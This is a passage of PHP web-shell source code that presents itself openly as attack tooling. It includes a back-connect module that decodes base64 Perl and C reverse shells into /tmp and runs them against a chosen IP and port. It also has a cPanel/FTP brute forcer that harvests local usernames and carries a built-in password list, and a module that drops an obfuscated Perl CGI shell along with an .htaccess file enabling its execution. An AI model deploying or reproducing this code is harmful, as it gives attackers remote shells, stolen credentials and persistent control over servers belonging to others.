  2152. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  2154. p('<td>'.$table['Rows'].'</td>');
  2156. p('<td>'.$table['Data_length'].'</td>');
  2158. p('<td>'.$table['Create_time'].'</td>');
  2160. p('<td>'.$table['Update_time'].'</td>');
  2162. if ($highver) {
  2164. p('<td>'.$table['Engine'].'</td>');
  2166. p('<td>'.$table['Collation'].'</td>');
  2168. }
  2170. p('</tr>');
  2172. }
  2174. p('<tr class=fout>');
  2176. p('<td>&nbsp;</td>');
  2178. p('<td>Total tables: '.$table_num.'</td>');
  2180. p('<td>'.$table_rows.'</td>');
  2182. p('<td>'.$data_size.'</td>');
  2184. p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  2186. p('</tr>');
  2190. p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."sql.gz\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  2192. makehide('doing','backupmysql');
  2194. formfoot();
  2196. p("</table>");
  2198. fr($query);
  2200. }
  2202. }
  2204. }
  2206. tbfoot();
  2208. @mysql_close();
  2210. }
  2216. elseif ($action == 'backconnect') {
  2218. !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  2220. !$yourport && $yourport = '12345';
  2222. $usedb = array('perl'=>'perl','c'=>'c');
  2226. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  2228. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  2230. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  2232. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  2234. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  2236. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  2238. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  2240. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  2242. "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  2244. "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  2246. "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  2248. "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  2250. "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  2252. "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  2254. "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  2258. if ($start && $yourip && $yourport && $use){
  2260. if ($use == 'perl') {
  2262. cf('/tmp/angel_bc',$back_connect);
  2264. $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  2266. } else {
  2268. cf('/tmp/angel_bc.c',$back_connect_c);
  2270. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  2272. @unlink('/tmp/angel_bc.c');
  2274. $res = execute("/tmp/angel_bc $yourip $yourport &");
  2276. }
  2278. m("Now script try connect to $yourip port $yourport ...");
  2280. }
  2284. formhead(array('title'=>'Back Connect'));
  2286. makehide('action','backconnect');
  2288. p('<p>');
  2290. p('Your IP:');
  2292. makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  2294. p('Your Port:');
  2296. makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  2298. p('Use:');
  2300. makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  2302. makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  2304. p('</p>');
  2306. formfoot();
  2308. }
  2314. elseif ($action == 'brute') {
  2316. formhead(array('title'=>'Brute Forcer'));
  2318. makehide('action','brute');
  2320. makehide('dir',$brute);
  2322. @ini_set('memory_limit', 1000000000000);
  2324. $connect_timeout=5;
  2326. @set_time_limit(0);
  2328. $submit = $_REQUEST['submit'];
  2330. $users = $_REQUEST['users'];
  2332. $pass = $_REQUEST['passwords'];
  2334. $target = $_REQUEST['target'];
  2336. $option = $_REQUEST['option'];
  2342. $passlist = "123pass
  2344. 123!@#
  2346. 123admin
  2348. 123abc
  2350. 123456admin
  2352. 1234554321
  2354. 12344321
  2356. pass123
  2358. admin
  2360. admincp
  2362. administrator
  2364. matkhau
  2366. passadmin
  2368. p@ssword
  2370. password
  2372. 012345
  2374. 123456
  2376. 1234567
  2378. 12345678
  2380. 123456789
  2382. 1234567890
  2384. 111111
  2386. 000000
  2388. 222222
  2390. 333333
  2392. 444444
  2394. 555555
  2396. 666666
  2398. 777777
  2400. 888888
  2402. 999999
  2404. 123123
  2406. 234234
  2408. 345345
  2410. 456456
  2412. 567567
  2414. 678678
  2416. 789789
  2418. 123321
  2420. 456654
  2422. 654321
  2424. 7654321
  2426. 87654321
  2428. 987654321
  2430. 0987654321
  2432. admin123
  2434. admin123456
  2436. abcdef
  2438. abcabc
  2440. !@#!@#
  2442. !@#$%^
  2444. !@#$%^&*(
  2446. !@#$$#@!
  2448. abc123
  2450. anhyeuem
  2452. iloveyou
  2454. admin
  2456. administrator
  2458. admincp
  2460. cpanel
  2462. adminx
  2464. admins
  2466. password
  2468. passwords
  2470. passw0rd
  2472. p@ssw0rd
  2474. p@ssword
  2476. khongco
  2478. 25251325
  2480. passw0rds";
  2482. if($target == ''){
  2484. $target = 'localhost';
  2486. }
  2488. print " <div align='center'>
  2490. <form method='post' style='border: 1px solid #000000'><br><br>
  2492. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  2494. <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  2496. <div align='center'><br>
  2498. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  2500. <tr>
  2502. <td align='center'>
  2504. <b>Username</b></td>
  2506. <td>
  2508. <p align='center'>
  2510. <b>Password</b></td>
  2512. </tr>
  2514. </table>
  2516. <p align='center'>
  2518. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  2520. $i = 0;
  2522. while ($i < 60000) {
  2526. $line = posix_getpwuid($i);
  2528. if (!empty($line)) {
  2532. while (list ($key, $vba_etcpwd) = each($line)){
  2534. echo "".$vba_etcpwd."\n";
  2536. break;
  2538. }
  2542. }
  2546. $i++;
  2548. }
  2550. echo "
  2552. </textarea>
  2554. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  2556. <br>
  2558. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  2560. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  2562. </td></tr></table></td></tr></form><p align= 'left'>";
  2564. ?>
  2566. <?php
  2568. function ftp_check($host,$user,$pass,$timeout){
  2570. $ch = curl_init();
  2572. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  2574. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2576. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  2578. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  2580. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  2582. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  2584. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  2586. $data = curl_exec($ch);
  2588. if ( curl_errno($ch) == 28 ) {
  2592. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  2594. exit;}
  2598. elseif ( curl_errno($ch) == 0 ){
  2602. p("<b>[ SonicQ12 ]# </b>
  2604. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
  2606. }
  2608. curl_close($ch);}
  2612. function cpanel_check($host,$user,$pass,$timeout){
  2614. $ch = curl_init();
  2616. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  2618. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2620. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  2622. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  2624. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  2626. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  2628. $data = curl_exec($ch);
  2630. if ( curl_errno($ch) == 28 ) {
  2632. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  2634. exit;}
  2636. elseif ( curl_errno($ch) == 0 ){
  2640. p("<b>[ SonicQ12 ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
  2644. if(isset($submit) && !empty($submit)){
  2648. $userlist = explode ("\n" , $users );
  2650. $passlist = explode ("\n" , $pass );
  2652. p('<b>[ SonicQ12 ]# Attacking ...</font></b><br>');
  2654. foreach ($userlist as $user) {
  2656. $_user = trim($user);
  2658. foreach ($passlist as $password ) {
  2660. $_pass = trim($password);
  2662. if($option == "ftp"){
  2664. ftp_check($target,$_user,$_pass,$connect_timeout);
  2666. }
  2668. if ($option == "cpanel")
  2670. {
  2672. cpanel_check($target,$_user,$_pass,$connect_timeout);
  2674. }
  2676. }
  2678. }
  2680. }
  2684. formfoot();
  2686. }
  2694. //Cgi Create
  2695. elseif ($action == 'cgi')
  2696. {
  2697. mkdir('sonic', 0755);
  2698. chdir('sonic');
  2699. $hta_file = '.htaccess';
  2700. $create_hta = fopen($hta_file, 'w');
  2701. $hta_code = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  2703. AddType application/x-httpd-cgi .sonicq12
  2705. AddHandler cgi-script .sonicq12
  2706. AddHandler cgi-script .sonicq12';
  2707. fwrite($create_hta, $hta_code);
  2708. fclose($create_hta);
  2709. $cgi_code = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+Q0dJIHNoZWxsPC9iPiAjIHNlcnZlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcgojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJFBhc3N3b3JkID0gInNvbmljIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+cHJpdjggY2dpIHNoZWxsPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCgo8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0icHJpdjggY2dpIHNoZWxsICBfICAgICBpNV9AaG90bWFpbC5jb20iPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0icHJpdjggY2dpIHNoZWxsICBfICAgIGk1X0Bob3RtYWlsLmNvbSI+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4KPGI+PGZvbnQgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiAKPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPiBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNGRkZGRkYiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBsb2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRvd25sb2FkIEZpbGU8L2ZvbnQ+PC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBhc3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPgokOwojJwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CjwvZm9udD4KPGZvbn